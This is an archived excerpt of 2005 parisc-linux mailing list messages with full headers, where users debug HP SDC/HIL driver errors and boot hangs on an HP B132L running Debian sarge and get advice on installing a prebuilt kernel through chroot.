Chipset

[...]
# B132L, B160L: NCR 53C720 16-bit Fast-wide high voltage differential (HV=
D)
SCSI-2
# B132L+, B180L+: Symbios Logic 53C875 16-bit Ultra-wide SCSI-2 controlle=
r

Unfortunately, I couldn't test here because no B132L around.

Hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Tue, 12 Jul 2005 20:12:48 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <42D478A0.9040608@excelcia.org>
References: <42CF1766.8030608@excelcia.org> <42D0468C.5010005@excelcia.org>
	<20050711195440.GD2170@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623843 15585 80.91.229.3 (22 Nov 2014 02:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jul 2005 02:13:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 13 Jul 2005 04:13:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30A827D63C;
	Tue, 12 Jul 2005 20:13:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25541-08; Tue, 12 Jul 2005 20:13:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27D207D64E;
	Tue, 12 Jul 2005 20:13:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33AB57D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 20:13:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25541-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 20:13:11 -0600 (MDT)
Original-Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 96E7C7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jul 2005 20:13:11 -0600 (MDT)
Original-Received: from pd2mr2so.prod.shaw.ca
	(pd2mr2so-qfe3.prod.shaw.ca [10.0.141.109]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IJJ001VMNHDFDD0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 12 Jul 2005 20:12:49 -0600 (MDT)
Original-Received: from pn2ml9so.prod.shaw.ca ([10.0.121.7])
	by pd2mr2so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJJ00MUDNHDIP30@pd2mr2so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 12 Jul 2005 20:12:49 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJJ00G3MNHDW9@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 12 Jul 2005 20:12:49 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6D2CmWA032260	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 12 Jul 2005 20:12:49 -0600
In-reply-to: <20050711195440.GD2170@roadwarrior.mcmartin.ca>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lR2mYl9AeSEkbL6WZHQhaXN1IGRvb8AG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22902

Kyle McMartin wrote:
> On Sat, Jul 09, 2005 at 03:50:04PM -0600, Kurt Fitzner wrote:
> 
>>"HP SDC MLC: Registering the System Domain Controller's HIL MLC."
> 
> I don't suppose you could investigate further? (TOC the machine, 
> lookup where it's hung, see the howto on parisc-linux.org). 
> 
> All the d-i images tested fine on my B180, which is a fairly close
> match to your B132...

I've done some more testing.  My results are similar to what Scott
posted.  I've only taken the most cursory look at the relevant code in
the kernel, so my report here is simply observation and my own
interpretation.

When booting from the install CDs and the console is GRAPHICS(0), I find
that I get the transaction add error ad infinitum:

  "HP SDC: Transaction add failed: transaction already queued?"

In one out of every five boots (approximately), after a variable number
of the transaction errors, there will be a timeout error.  Once the
timeout error occurs, no more transaction add errors occur.  The number
of transaction add errors that occur before this happens can be anywhere
from three to several hundreds.

  "HP SDC: Transaction add failed: transaction already queued?"
    above repeated three to several hundred times
  "HP SDC: read timeout (99999ms)"

I found quite by accident that if I am moving the mouse just as the
kernel is booting up, there is a far better chance of getting the
timeout error quickly and thus terminating the transaction error after
just 3 or 4 lines.

If the console is set to serial_1, the transaction error almost always
(9 out of 10 times) terminates after only 3 or 4 lines.  I now believe
that the two observations (mouse movement and serial console) are
related.  I believe the extra interrupt overhead from either the PS/2 or
serial port is allowing the timeout to occur.

Regarding the problem with the kernel hanging, just as Scott indicated,
this only occurs on SMP-enabled kernels on the B132L.  Not being
familliar with Debian prior to this install, it took me a while to
figure out how to get the installer to allow me to select a different
kernel (which is why I have so much info on the frequency of the issues
on a per boot basis).

I have now compiled my own kernel without HIL or SDC support.  This is
quite nice simply because the HIL poling sucks a lot of CPU time
(despite what the FAQ says, I could never get the CPU usage of ksoftirqd
below 8% even when higher priority tasks were running at a -19 nice level).

I'll now spend some time in the kernel code to see how the transaction
add errors are somehow resetting the read timeout.

Hope the observations help.

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian sarge netinstall hangs after first boot on
	b132l
Date: Thu, 14 Jul 2005 18:07:41 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <42D68DCD.3010403@ieee.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623843 15586 80.91.229.3 (22 Nov 2014 02:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 16:04:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 14 Jul 2005 18:04:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 996A17D696;
	Thu, 14 Jul 2005 10:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07285-04; Thu, 14 Jul 2005 10:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A2577D692;
	Thu, 14 Jul 2005 10:04:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D02E97D690
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 10:04:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07285-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 10:04:20 -0600 (MDT)
Original-Received: from rusty.kulnet.kuleuven.ac.be (rusty.kulnet.kuleuven.ac.be
	[134.58.240.42])
	by free.linux.hp.com (Postfix) with ESMTP id 090C27D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 10:04:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by rusty.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 915811D740B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:04:18 +0200 (CEST)
Original-Received: from octavianus.kulnet.kuleuven.ac.be
	(octavianus.kulnet.kuleuven.ac.be [134.58.240.71])
	by rusty.kulnet.kuleuven.ac.be (Postfix) with ESMTP id BA41E1D7402
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:04:17 +0200 (CEST)
Original-Received: from nijl.esat.kuleuven.be (nijl.esat.kuleuven.be [134.58.56.153])
	by octavianus.kulnet.kuleuven.ac.be (Postfix) with ESMTP id 6C157AED85
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:04:17 +0200 (CEST)
Original-Received: from [10.33.135.3] (rosebank.esat.kuleuven.be [10.33.135.3])
	by nijl.esat.kuleuven.be (8.13.4/8.13.4) with ESMTP id j6EG4Huv029211
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 18:04:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
X-Virus-Scanned: by KULeuven Antivirus Cluster
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WOikYntCeSEkTb6WZHQhaXN1IGRvbwB3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22903

Hello,

I got an hp b132l to play with :) and decided to put debian sarge on it, 
downloaded the latest netinstall cd from the web (debian site) and 
installed using serial console.

The install went ok, after making the initial ramdisk larger (64k 
instead of 16), and gave no errors, but after the copying of the files 
and doing the first reboot. My system hung. I wasn't able to do anything 
(even the power button didn't work).

The last message on my console was the following:

HP SDC: Spunking the self test register to force PUP on next firmware
reset. HP SDC MLC: Registering the System Domain Controller's HIL MLC.

Which is strange because there is no HIL stuff in this machine (this has 
something to do with the keyboard if I'm correct, but the b132l uses 
ps/2 interfaces for mouse and keyboard).

Another strange thing was that the kernel that was chosen during install 
was a smp kernel? (2.6.8...smp something, I didn't pay real attention at 
that time)

When I posted a message concerning this issue on a belgian linux 
newsgroup, there was someone who said he had experienced the same thing, 
and resolved this by booting from a gentoo cd and installing the latest 
kernel. Probably I'll attempt the same thing later on but I wanted to 
ask if there are other options or if I made some mistake?

Greetings,

Dirk

-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
Katholieke Universiteit Leuven, ESAT-ELECTA      tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?RE=3A=20=5Bparisc=2Dlinux=5D=20Debian=20sarge=20netinstall=20hangs=20after=20first=20boot=20on=09b132l?=
Date: Thu, 14 Jul 2005 19:06:28 +0200
Lines: 100
Approved: news@gmane.org
Message-ID: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
References: <42D68DCD.3010403@ieee.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623844 15589 80.91.229.3 (22 Nov 2014 02:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:24 +0000 (UTC)
To: "Dirk Van Hertem" <dirk.vanhertem@ieee.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 17:06:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 14 Jul 2005 19:06:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A459F7D698;
	Thu, 14 Jul 2005 11:06:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07380-10; Thu, 14 Jul 2005 11:06:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F8467D681;
	Thu, 14 Jul 2005 11:06:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AB2A7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:06:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07380-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:06:36 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 665597D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:06:36 -0600 (MDT)
Original-Received: from 10.39.115.136 by mrq-2 with esmtp (Exim)
	id 1Dt7AM-0004B3-1t; Thu, 14 Jul 2005 19:06:34 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Thu, 14 Jul 2005 19:06:28 +0200
In-Reply-To: <42D68DCD.3010403@ieee.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +f6kYgdueSEkbr6WZHQhaXN1IGRvb8A4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22904


Hello Dirk,

> 
> Hello,
> 
> I got an hp b132l to play with :) and decided to put debian sarge on it=
,
> 
> downloaded the latest netinstall cd from the web (debian site) and 
> installed using serial console.
> 
Just being curious: didn't you try from sti (i.e. builtin graphical inter=
face)?

> The install went ok, after making the initial ramdisk larger (64k 
> instead of 16), and gave no errors, but after the copying of the files

> and doing the first reboot. My system hung. I wasn't able to do anythin=
g
> 
Good to know

> (even the power button didn't work).
> 
> The last message on my console was the following:
> 
> HP SDC: Spunking the self test register to force PUP on next firmware
> reset. HP SDC MLC: Registering the System Domain Controller's HIL MLC.
> 
Yes there are a lot of report on p-l and debian-hppa ml on this subject :=
_(

> Which is strange because there is no HIL stuff in this machine (this ha=
s
> something to do with the keyboard if I'm correct, but the b132l uses 
> ps/2 interfaces for mouse and keyboard).
> 
Yes but afaik the interface exist on this model (see a hpux ioscan) as we=
ll
as on B160L (but not on B180 or B132L+) and it tried to initialize.

> Another strange thing was that the kernel that was chosen during instal=
l
> was a smp kernel? (2.6.8...smp something, I didn't pay real attention a=
t
> that time)
> 
Yes very strange (but I have no clue about debian installer details :-( )=


> When I posted a message concerning this issue on a belgian linux 
> newsgroup, there was someone who said he had experienced the same thing=
,
> and resolved this by booting from a gentoo cd and installing the latest=


> kernel. Probably I'll attempt the same thing later on but I wanted to 
> ask if there are other options or if I made some mistake?
> 
Apparently no mistake :-)

What you coud do also, as the install-cd works fine, is to reboot from th=
is
cd and look for a sub-menu to enter into a shell script.

Here you can setup your nic (to access the web if possible) and mainly mo=
unt
your boot disk.
(e.g. # mkdir /mnt/MyBoot ; mount /dev/sda5 /mnt/MyBoot ; mount /dev/sda6=

/mnt/MyBoot/var;...
according to your slicing: sda5 would be replace by your own root partiti=
on
sda6 your var if there is one, ...)

Then you can chroot to this mount point (e.g. chroot /mnt/MyBoot )
You would then be able to grab one of prebuild kernel e.g. from:
<http://cvs.parisc-linux.org/download/linux-2.6/> (I would recommended th=
e
one for b180 for your b132l)

following instructions at the top of this page :-)

To be sure umount your boot disk and try to reboot.

That should work.

Hth,
    Joel

PS: Don't hesitate to ask if you need more details


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?=22Jos=E9_Miguel_Morales_F=2E=22?= <jmmf@mat.puc.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A bit curious about...
Date: Thu, 14 Jul 2005 13:31:25 -0400
Organization: Pontyificia Universidad =?ISO-8859-15?Q?Cat=F3lica_de_C?=
	=?ISO-8859-15?Q?hile?=
Lines: 17
Approved: news@gmane.org
Message-ID: <42D6A16D.3040309@mat.puc.cl>
References: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623844 15591 80.91.229.3 (22 Nov 2014 02:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 17:31:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 14 Jul 2005 19:31:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E46A7D69E;
	Thu, 14 Jul 2005 11:31:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08048-01; Thu, 14 Jul 2005 11:31:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 235A07D696;
	Thu, 14 Jul 2005 11:31:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1059F7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:31:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07734-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:31:27 -0600 (MDT)
Original-Received: from isis.mat.puc.cl (isis.mat.puc.cl [146.155.23.17])
	by free.linux.hp.com (Postfix) with ESMTP id 6B8F77D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 11:31:27 -0600 (MDT)
Original-Received: from [146.155.24.137] (unknown [146.155.24.137])
	by isis.mat.puc.cl (Postfix) with ESMTP
	id 19248A008E; Thu, 14 Jul 2005 13:32:37 -0400 (CLT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
	rv:1.7.7) Gecko/20050414
X-Accept-Language: en-us, en, es-cl, es
In-Reply-To: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LcSkYuRVeSEkab6WZHQhaXN1IGRvbwCo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22905

Hello...	Yes, I'm a bit curious about the link:

	http://cvs.parisc-linux.org/download/linux-2.6

-) The "32" column kernels... Have *FULL* HIL support built?

-) For an HP 9000 series 735... Can I gain something adicional (H/W support, 
performance, etc.) using a 2.6 kernel instead of good'ol 2.4?

					T.I.A...		JMMF.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
